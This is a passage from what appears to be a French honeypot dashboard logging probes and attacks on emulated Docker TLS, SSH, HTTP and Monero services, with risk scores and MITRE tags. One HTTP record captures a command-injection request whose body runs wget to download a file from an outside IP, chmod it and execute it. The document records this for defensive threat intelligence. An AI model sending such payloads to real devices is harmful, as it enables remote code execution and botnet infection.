"request_sample": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d94f6da5ca0247ef5c25464b9f7449a5e7c8861e",
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"classification_reason_label_fr": "Type \u00ab docker_tls_probe \u00bb (signaux protocolaires) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 8,
"classification": 44,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 45
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "docker-tls",
"service_label_fr": "DOCKER TLS",
"dst_port": 2376,
"protocol_emulated": true,
"tags_summary": [
"INT-docker-tls",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Docker Tls",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-docker-tls",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"port": 2376,
"service": "docker-tls",
"service_label_fr": "DOCKER TLS"
},
"attack_vector": "docker tls probe \u00b7 via DOCKER TLS:2376 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/_ping HTTP\/1.1\r\nHost: 62.3.50.33:2376\r\nUser-Agent: Go-http-client\/1.1\r\nAccept-Encoding: gzip\r\nConnection: close",
"target_port_label": "2376 \u00b7 DOCKER TLS",
"emulator_service": "docker-tls",
"confidence_reason": "Confiance 62 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker_tls",
"service_banner": "honeypot-docker-tls",
"service_os": "linux",
"dst_port": "2376"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_tls_emulated",
"docker_tls_payload",
"http_get_probe",
"net_docker_tls_probe"
]
}
|
|
|
TCP |
22 · SSH
|
ssh
|
Sonde port 22/TCP
port 22 tcp · via SSH:22 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
SSH
WAF
—
Recommandation
Surveiller
Tags
net_ssh_probe
ssh_banner_grab
ssh_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
22
Chemin / cible
—
Preuve honeypot — Sonde port 22/TCP
Connexion détectée sur le port 22 (TCP) du capteur simulé.
Pourquoi cette classification : Bannière client SSH reçue · confiance 55%
Confiance classification
55%
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "5353482d322e302d4f70656e5353485f382e3470312044656269616e2d352b646562313175330d0a",
"emulator_response_len": 40,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Vpsvault.host Ltd",
"service": "ssh",
"app_proto": "ssh",
"asn": 215925,
"country": "US",
"dst_port": 22,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "2fd70191c11cf3311d4327222cbdc90f08e4fc6b",
"event_fingerprint": "bc4e3fa786c83e0db7c1c892cb0c288f6b14388f",
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"confidence": 0.55,
"classification_confidence": 0.55,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"named_classification_skipped": true,
"named_candidate": "ssh_probe",
"service_name": "ssh",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "4d94c79baddfcb6b1b3c2c5fdc6c79e1"
},
"target_context": {
"dst_port": 22,
"service": "ssh",
"service_name": "ssh",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "253e0824820a41dd714cfbe0c15753d50a2181da",
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"classification_reason_label_fr": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 55,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "ssh",
"service_label_fr": "SSH",
"dst_port": 22,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "OpenSSH_8.9p1 Ubuntu",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 55 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "ssh",
"service_banner": "OpenSSH_8.9p1 Ubuntu",
"service_os": "linux",
"dst_port": "22"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_ssh_probe",
"ssh_banner_grab",
"ssh_emulated"
],
"behavior_alert_count": 2,
"behavior_priority": 84
}
|
|
|
TCP |
8080 · HTTP
|
http
|
Injection de commande
cmd injection · via HTTP:8080 · (tentative d'exploit) · → /goform/set_LimitClient_cfg
|
Élevée
|
Élevé · 81
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /goform/set_LimitClient_cfg UA Go-http-client/1.1
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950319:lfi-14
950327:rce-0
950407:ssrf-3
950468:nosqli-3
Cible HTTP
POST
/goform/set_LimitClient_cfg
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8080
Chemin / cible
/goform/set_LimitClient_cfg
Pourquoi cette classification : Injection de commande (tag lfi-14) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 81
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1
Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /goform/set_LimitClient_cfg HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Content-Length: 100
Cookie: u
Requête brute (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Go-http-client/1.1 Content-Length: 100 Cookie: user=admin Accept-Encoding: gzip time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://5.182.210.61/ok; chmod 777 ok; sh ok; r
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "11e5f78f4036aff2c472248972fe32123c6ace43",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 264,
"payload_entropy": 5.172736270692932,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 81,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "bfd95dd1664d7964b6f51fe2c5f2170cdb8bc751",
"event_fingerprint": "f90f35827364d62ec2c72d5e93215efbc4708ab9",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 294,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c87f0e46e5e0a01593c46f662710da0",
"path_pattern_hash": "f2a8d0719ad1915fd61c32b0d79b0a33"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 81
},
"payload_preview": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"evidence": {
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "88fbb60c178c1bfb340454407730cc261dbb3eb5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 81\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 81,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_probe_goform",
"http_sensitive_path",
"http_ssrf_body",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
18080 · MONERO P2P
|
monero-p2p
|
imap bruteforce
imap bruteforce · via MONERO P2P:18080 · (sonde / probe)
|
Élevée
|
Moyen · 41
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1110
TA0007
TA0001
Protocole
Émulateur
MONERO-P2P
WAF
—
Recommandation
Surveiller
Tags
http_get_probe
imap_probe
monero_p2p_emulated
monero_p2p_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
18080
Chemin / cible
—
Service
MONERO P2P
Payload
GET /login HTTP/1.1 Host: 62.3.50.33:18080 User-Agent: Go-http-client/1.1 Connection: close Accept-Encoding: gzip
Pourquoi cette classification : Type « imap_bruteforce » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 41
Confiance : Confiance 95 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Email Imap Login
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:18080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "01110101010101010000000000000000",
"emulator_response_len": 16,
"bytes_in": 121,
"payload_entropy": 4.881056474106557,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "monero-p2p",
"app_proto": "monero-p2p",
"asn": 215925,
"country": "US",
"dst_port": 18080,
"risk_waf": 8,
"risk_classification": 66,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.9,
"risk_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 41,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "e33e7bea198ba501d7b0363e06a121562f9b62d8",
"event_fingerprint": "9805bd2d8e2babb93b4750898ffa60f92edfba86",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 76,
"precision_signals": [
"INT-EMAIL-imap-login"
],
"kb_rule_ids": [
"INT-EMAIL-imap-login"
],
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"named_classification_skipped": false,
"service_name": "monero-p2p",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7f5ae21646f65d736d23178a9d7a6b9a",
"path_pattern_hash": "d01bbf3f52d5029936b2dffb0f5e856f"
},
"target_context": {
"dst_port": 18080,
"service": "monero-p2p",
"service_name": "monero-p2p",
"risk_score": 41
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1110"
],
"mitre": "T1110",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2a5f0ade23d59de46b82f1e313b25205af9fcc71",
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 41\/100",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 41,
"risk_label": "Moyen",
"service_name": "monero-p2p",
"service_label_fr": "MONERO P2P",
"dst_port": 18080,
"protocol_emulated": true,
"tags_summary": [
"INT-EMAIL-imap-login"
],
"tags_summary_labels_fr": [
"Email Imap Login"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1110",
"mitre_technique": "T1110",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-monero-p2p",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
